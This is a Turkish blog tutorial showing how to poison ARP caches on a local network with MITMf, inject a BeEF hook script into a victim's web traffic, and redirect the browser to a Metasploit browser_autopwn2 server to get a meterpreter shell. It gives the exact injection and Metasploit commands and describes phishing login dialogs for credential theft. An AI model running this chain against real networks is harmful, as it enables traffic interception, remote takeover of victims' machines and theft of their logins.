ARP Poisoning ile Browser Exploitation - MITMf + BeEF + Metasploit

ARP Poisoning/Spoofing ile bir network içerisinde çeşitli saldırılar yapılabilir. Örnek olarak aynı ağda bulunduğumuz kurban veya kurbanların trafiğini üstümüze alabiliriz.

Yerel ağ içerisinde makineler birbirleriyle haberleşirken MAC adreslerini kullanırlar. Bu olay OSI modelindeki 2. katman olan Data Link Layer'da gerçekleşmektedir. Ağda bulunan makineler broadcast ile yaydıkları paket sonrası aynı ağda bulunan diğer makinelerin IP-MAC eşleştirmesini yapar. IP-MAC eşleştirmesinin bulunduğu yer ARP (Address Resolution Protocol) tablosudur. Yerel ağda haberleşmek istenilen iki makine arasında kurulacak bağlantı öncesinde ARP tablosundan bakılarak iletişimin kurulacağı IP'ye denk düşen MAC adresi bulunur ve işlemler bu MAC adresi üstünden gerçekleşir.
ARP poisoning saldırısında, seri şekilde gönderilen ARP paketleri ile kurban ve router arasına girilir. Yazıda ARP spoofing ile gerçekleştirilebilecek saldırılardan olan MITM (Man In The Middle – Ortadaki Adam) anlatılacaktır.
Mitm saldırısının gerçekleştirilmesi sırasında saldırgan ve kurban arasında gerçekleşen trafiği aşağıdaki gibi açıklayabiliriz.
Trafiği yönlendiren cihaza(router/switch), kurbanın MAC adresi diye saldırganın MAC adresi gönderilerek, saldırgan kendini, kurban olarak taklit eder ve cihazın ARP tablosunda IP-MAC eşleştirmesi bu şekilde görünür.
Kurban'a, router MAC adresi diye saldırgan MAC adresi gönderilerek kurbanın ARP tablosundaki router MAC adresi saldırganın MAC adresiyle değiştirilir. Poisoning için gönderilen paketler sahte ARP paketleridir.
Bir resim ile olayı özetlemek gerekirse;
ARP spoofing ile gerçekleştirilen bu saldırıda (MITM), saldırgan olan kişi kurban veya kurbanların tüm trafiğini üstüne alabilir. Şifrelenmemiş bir şekilde giden trafikteki tüm özel bilgileri okuyabilir. ARP Spooging ile ilgili ayrıntılı bilgi için https://tr.wikipedia.org/wiki/Arp_zehirlenmesi adresi ziyaret edilebilir.

MITMf

MITMf (Man-In-The-Middle Attack Framework), MITM saldırıları için byt3bl33d3r tarafından geliştirilen bir MITM saldırı aracıdır. İçerisinde bir çok saldırı modülü bulunmaktadır.

Bu yazıda MITMf'in inject modülünü kullanacağız. Inject modülü, HTML içeriğe müdahale etmemizi ve buna ek olarak kullanacağımız modül ile işlem yapmamızı sağlar.

Ek modüllerden bazıları şunlardır: js-url, html-url ve html-payload.
Js-url: İçeriğe zararlı Javascript kodu barındıran link gömmemizi sağlar.
Html-url: İçeriğe gizli bir iframe aracılığıyla html link gömmemizi sağlar.  
Html-payload: İçeriğe HTML kodlarını dahil etmemizi sağlar.

BeEF

BeEF (The Browser Exploitation Framework), XSS zafiyetlerini kullanarak ileri seviye saldırı işlemlerinin yapılabilmesine imkan tanıyan bir araçtır. Ürettiği Javascript kod içeren zararlı url'e kurbanın yönlendirilmesi sonucu browser üstünde birçok saldırı gerçekleştirilebilmektedir. Kali linux'ta kurulu bir şekilde gelmektedir. Depodan kolay bir şekilde kurulabilmektedir.

Amaç

Yazı kapsamında BeEF'in üreteceği hook js adresini, MITMf ile üstümüze aldığımız kurban trafiğinde geçen sayfalara enjekte eden modülü kullanarak enjekte edeceğiz. Sonrasında BeEF ve Metasploit kullanarak kurban bilgisayarında shell açacağız.

Metasploit + BeEF

BeEF'in konfigürasyon dosyalarında yapılacak bazı değişiklikler ile Metasploit'i BeEF'e entegre edebiliriz. Bu sayede Metasploit üzerinde bulunan birçok exploit'i kullanabiliriz.
Yazı kapsamında sadece entegrasyon işlemi gösterilecektir, shell açma işlemi entegrasyondan bağımsız bir şekilde gerçekleştirilecektir.
Entegrasyonu işlemini gerçekleştirebilmek için BeEF konfigürasyon dosyasında kullanılacak extension'lar kısmında Metasploiti aktifleştirmek gereklidir. BeEF klasöründe bulunan config.yaml dosyasının son satırlarında bulunan metasploit aktifleştirme için kullanılan değişkenin false değerine sahip alanı true olarak değiştirmemiz gerekmektedir. Dosyanın yolu;
  • /usr/share/beef-xss/config.yaml
BeEF üstünde Metasploit eklentisinin çalışmasını sağladık. Metasploit tarafındaki bağlantıyı/işlemleri sağlayacak RPC modülünün konfigürasyonunun yapılması gerekmektedir. Bunun için BeEF tarafında Metasploite bağlantı sırasında kullanılacak kullanıcı adı, parola gibi seçeneklerin düzenlenmesi gerekmektedir.
BeEF içerisinde çalışacak eklentilerin bulunduğu extensions klasörünün altında bulunan metasploit klasöründe bulunan config.yaml dosyasını düzenlememiz gerekmeketedir. Dosyanın yolu;
  • /usr/share/beef-xss/extensions/metasploit/config.yaml
Burada bulunan değerleri, Metasploit içerisinde bulunan msgrpc modülüne bağlantı sırasında kullanacağımız için gerekli düzenlemeleri yapmamız gerekmektedir. Veya burada bulunan bağlantı değerlerini dikkate alarak Metasploit tarafında msgrpc modülünü uygun şekilde yüklememiz gerekmektedir.
Metasploit tarafında bağlantıyı karşılayacak msgrpc modülünü yukarıdaki değerler ile yüklemek için;
  • load msgrpc Pass=abc123
Metasploit, msgrpc modülü default olarak load edildiğinde 127.0.0.1 IP ve 55552 numaralı port üstünde bağlantıyı başlatmaktadır. Default kullanıcı adı msf, kullanıcı parolası ise random bir şekilde üretilmektedir. Her load sırasında bağlantı için 8 haneli karmaşık bir parola rastgele bir şekilde atanmaktadır. Bu yüzden BeEF'in bağlantı sırasında kullanacağı parola olan abc123 veya kendi belirlediğimiz parolayı kullanarak msgrpc modülünü yüklemek için Pass parametresine gerekli değeri vererek yüklemeyi gerçekleştirmesini sağlayabiliriz.

BeEF'in çalıştırılması

Linux deposunu kullanarak BeEF'i kurmuşsak eğer direkt olarak komut satırından beef-xss diyerek, veyahut uygulamanın bulunduğu klasöre giderek beef isimli ruby scriptini çalıştırmamız gerekmektedir. Resimden anlaşılacağı üzere entegrasyonu sağladığımız için Metasploit modülleride yüklenmiştir.
Bilgisayarda bulunan tüm network inteface'ler için ayrı ayrı 3000. port üzerinden BeEF kontrol panelini ve zararlı Js kodunu içeren url çalıştırmaktadır.
Kontrol paneline erişmek için ui/panel ile biten herhangi bir url kullanılabilir. http://127.0.0.1:3000/ui/panel veya http://192.168.1.42:3000/ui/panel
Üretilen zararlı js kodunu içeren url ise hook.js ile biten adreslerdir. Yerel ağda kullanmak için, bize ulaşılabilecek bir url'i kullanmamız gerekmektedir. http://192.168.1.42:3000/hook.js gibi.

BeEF kontrol paneline (http://127.0.0.1:3000/ui/panel) erişmek istediğimiz zaman gelen giriş ekranında, değiştirmediyseniz eğer, kullanıcı ve parola 'beef' dir.
Giriş ekranından sonra aşağıdaki bir ekran bizi karşılamaktadır. Hooked Browsers alanında js içeren sayfaya gelmiş ve iletişimde olduğumuz IP'leri içerir.
Burada bulunan Online ve Offline Browsers kısımları ise, aktif olan veya bağlantımızın koptuğu kurbanları gösterir.  
Getting Started sekmesi BeEF hakkında genel bilgiler veren bir ekrandır.
Logs sekmesinde ise yapılan işlemlerin ID'leriyle beraber hangi tipte işlemler olduğu, ne zaman ve hangi kurban browserı üstünde gerçekleştiği gibi bilgileri gösterir.
Zararlı Js bulaştırılan kurbanlar olduktan ve bunları sol taraftaki menüden seçtikten sonra Current Browser sekmesi gelmektedir. Tüm işlemler bu sekme altında gerçekleştirilecektir.
Bahsi geçen sekmeden bir görüntü aşağıdadır. Genel olarak, kurban ve browser hakkında bilgiler içeren Details sekmesi, seçilen browser üstünde yapılan işlemleri loglayan Logs sekmesi ve en önemlisi olan Commands sekmesi gibi alanları içermektedir. Commands sekmesi üzerinde kurbana karşı yapılacak saldırıların listesi kategorilere ayrılmış halde bulunmaktadır.
Saldırı

Geriye kalan aşamaları özetlemek gerekirse;
  • MITMf aracı ile ARP spoofing yapıp, inject modülünü kullanarak zararlı js kodu içeren linki trafiğe gömmek,
  • Metasploit tarafında browser exploit modülü kullanmak. Biz bunun için browser ile alakalı exploitleri hızlı bir şekilde deneyen, otomatize edilmiş browser_autopwn2 modülünü kullanacağız. 
  • BeEF aracılığıyla, iframe veya redirection modülleriyle exploitlerin bulunduğu url'e kurbanı yönlendirmek.
Önce MITMf ile ARP spoofing saldırısını gerçekleştirip kurbanın tüm trafiğini üstümüze alalım. Bunu MITMf ile gerçekleştirmek için aşağıdaki komut girilebilir.
  • mitmf --interface wlan0 --target 192.168.1.43 --gateway 192.168.1.1 --arp --spoof --inject --js-url http://192.168.1.42:3000/hook.js
Girilen parametreleri açıklamak gerekirse,
interface parametresi, saldırının gerçekleştirileceği network arayüzünü belirtmek için kullanılır.
target parametresi, kurban veya kurbanların IP adreslerini belirtmek için kullanılır. Subnet şeklinde de kullanılabilir bir formatı vardır.  
gateway parametresi, trafiğimizi yönlendiren cihazın (router/switch vb) IP adresini belirtmek için kullanılır. ARP spoofing sırasında target parametresiyle kullanılacak olan değerlerdir.
spoof parametresi, Spoofing modülünü kullanacağımız belirtmek için kullanılır.  
arp parametresi, spoofing için kullanılacak yöntemi belirtir. Diğer alt modüller: ICMP, DHCP, DNS.  
inject parametresi, HTML içeriklerine müdahale eden modülü çalıştırmayı sağlar.  
js-url parametresi, HTML içeriğe eklenecek olan ve BeEF tarafından üretilmiş, bizim kurbanın browser'ına müdahale etmemizi sağlayan, Javascript kodu içeren linktir.
Metasploit Browser Exploitation

Saldırıyı başlatıp, kurbanın trafiğini üstümüze aldıktan sonra, sıra Metasploit tarafında browser exploit modüllerini başlatmakta. Bunun için yukarıdaki satırlarda belirttiğimiz gibi browser_autopwn2 modülünü kullanacağız. Bu modül, bir önceki versiyonu olan browser_autopwn modülünün optimize edilmiş hali gibi düşünülebilir. Hızlı bir şekilde exploitleri deneyebilir.
Bu modülü Metasploit üstünde kullanabilmek için,
  • use auxiliary/server/browser_autopwn2
kullanılacak olan modülün hangi parametreleri kullandığına bakmak için,
  • show options
Resimde görüldüğü üzere değerinin girilmesi şart olan iki parametre vardır ve hali hazırda bunlar kullanılmıştır. Bir önceki versiyonundan farklı olarak INCLUDE_PATTERN ve EXCLUDE_PATTERN parametreleri eklenmiştir.

Bu parametreler, yüklenecek ve denenecek exploitlerin dahil edilmesi veya hariç bırakılması manasına gelmektedir. Örneğin sadece java, flash, opera veya firefox exploitlerini dene veyahut tam tersi bunları veya bunlardan birilerini hiç deneme gibi.

Girilmesi zorunlu olmayan fakat oluşturulacak exploitlerin bulunduğu url'i etkileyen URIPATH parametresine /pwned gibi bir uzantı veriyorum. Bu sayede oluşturulacak url /RandomKarakter formatında olmayacak ve girilen şekilde olacaktır. Bunların dışında pek bir değişikliğe gerek yoktur. Exploit veya run diyerek modülün exploitleri düzenleyip, server'ı başlatıp, oluşturulan url'i vermesini sağlayabiliriz.
Modüller derecelerine ve yayınlanma tarihlerine göre belli bir sıraya sokulduktan sonra payloadlarıyla beraber yüklenerek zararlı URL oluşturulur. Görüldüğü üzere oluşturulan url, URIPATH parametresiyle verdiğimiz formatta oluşturulmuştur.
BeEF
Kurbanın ziyaret ettiği sayfalara MITMf tarafından zararlı js linki enjekte edilmektedir. Kurbanın www.skype.com veya www.msn.com veyahut herhangi bir sayfayı ziyaret ettiği varsayılırsa, MITMf ile girdiğimiz komutun sonunda ekranda oluşacak görüntü aşağıdaki gibidir;
Resimden de anlaşılacağı üzere zararlı, HTML sayfada enjekte edilmiştir. Peki MITMf tarafında bu olurken BeEF tarafında ne olmaktadır? BeEF'i başlattığımız terminal ekranına baktığımızda ise zararlı js'in işini başarıyla yaptığı görülecektir. Enjekte edilen browser, BeEF tarafında Hooked olarak geçmektedir.

Shell

BeEF kontrol panelinde gördüğümüz üzere Hooked Browsers alanında bulunan Online Browsers kısmına kurbanın bağlantısı gelmiştir. Üzerine tıkladığımız vakit sağ taraftaki sekmelerin yanına işlemleri gerçekleştireceğimiz Current Browser sekmesi gelecektir. Modüller arasında yapılabilecek çok sayıda saldırı vardır. Kurban bilgisayarı hakkında bilgi almaktan, bulunulan network için port taraması yaptırmak, hangi uygulamaları kullandığını öğrenmek, webcam üzerinden görüntü almak, sosyal mühendislik saldırıları gerçekleştirmek gibi saldırıları gerçekleştirmek için gereken yüzlerce modül vardır.
Shell – invisible iframe

Amacımız kurbanı, Metasploit tarafında oluşturduğumuz exploitleri içeren sayfaya yönlendirmek. Bu iş için kullanabileceğimiz modüllerden biri olan ve Misc modül ağacının altında bulunan Create Invisible Iframe modülünü kullanacağız. Ardından aynı işi farklı bir modül olan Redirect Browser (iFrame) ile nasıl gerçekleştirileceğini göreceğiz.

Invisible iframe modülünü açtıktan sonra resimde görüldüğü üzere tek bir parametre vardır ve bu oluşturulacak iframe içinde yönlendirilecek URL adresidir. Bu adrese Metasploit tarafında oluşturduğumuz http://192.168.1.42:8080/pwned linkini yerleştirip Sağ alt köşede bulunan Execute komutuyla çalışmasını bekliyoruz.
Kısa bir sürenin ardından Metasploit tarafındaki bağlantıya istek gelecek, ardından exploitler test edilmeye başlanacaktır. Başarılı olması halinde oluşturulan exploite uygun olarak ayarlanmış payload için session oluşacaktır. Elde ettiğimiz shell görüldüğü üzere meterpreter shell'dir.

Shell – Redirect Browser (iFrame)

Bu modül, Browser modül ağacının altında bulunan Hooked Domain modüllerinin içerisinde yer almaktadır. Kullanılacak modül, kurbanın browser'ında bulunan sayfadaki url üzerinde herhangi bir değişiklik yapmadan, sayfanın Title ve icon özelliklerini istediğimiz şekilde değiştirip yönlendirme yapmaktadır. Benzer şekilde iframe kullanmadan yönlendirme yapan Redirect Browser modülü de kullanılabilir.
Burada bulunan bazı parametreleri açıklamak gerekirse;
New Title: Yönlendirme sonunda oluşacak sayfanın başlığı.
New Favicon: Yönlendirme sonunad oluşacak sayfanın ikonu.
Redirect URL: Yönlendirilecek adres. Burada verilecek adres Metasploit tarafında oluşturduğumuz exploitlerin olduğu URL'dir.
Yönlendirme sonunda browser'da şöyle bir görüntü oluşacaktır. Modülü çalıştırmadan evvel girdiğimiz değerler, browser'da Hooklanmış sayfaya girdiğimiz şekilde yansımıştır.
Kısa bir sürenin ardından Metasploit tarafındaki bağlantıya istek gelecek, ardından exploitler test edilmeye başlanacaktır. Başarılı olması halinde oluşturulan exploite uygun olarak ayarlanmış payload için session oluşacaktır. Elde ettiğimiz shell görüldüğü üzere meterpreter shell'dir.
Daha önce söylediğimiz üzere BeEF üzerinde çok sayıda modül vardır. Bu modüller ile örnekte yaptığımız gibi yönlendirme yapıp shell açabileceğimiz gibi, Fake update bildirimleri de çıkararak oluşturacağımız arka kapıyı kurbanların indirmelerini sağlayıp shell açabiliriz. İstediğimiz herhangi bir Javascript kodunu çalıştırabiliriz. Hooklanmış sayfada fake bir login ekranı gösterip kullanıcının giriş bilgilerini elde edilebiliriz.

Örnek olarak Social Engineering modül ağacı altında bulunan Pretty Theft modülü kullanılarak Facebook, LinkedIn, Windows, Youtube gibi yerler için bilgiler alınabilir.
Aşağıda Facebook ve Windows seçenekleri için modülün uygulanması sonucu sayfada gösterilen dialogların görüntüleri verilmiştir. 

Yorumlar

Bu blogdaki popüler yayınlar

1. Geleneksel Stajyer CTF Soru ve Cevapları

2. Geleneksel Stajyer CTF Soru ve Cevapları - 2017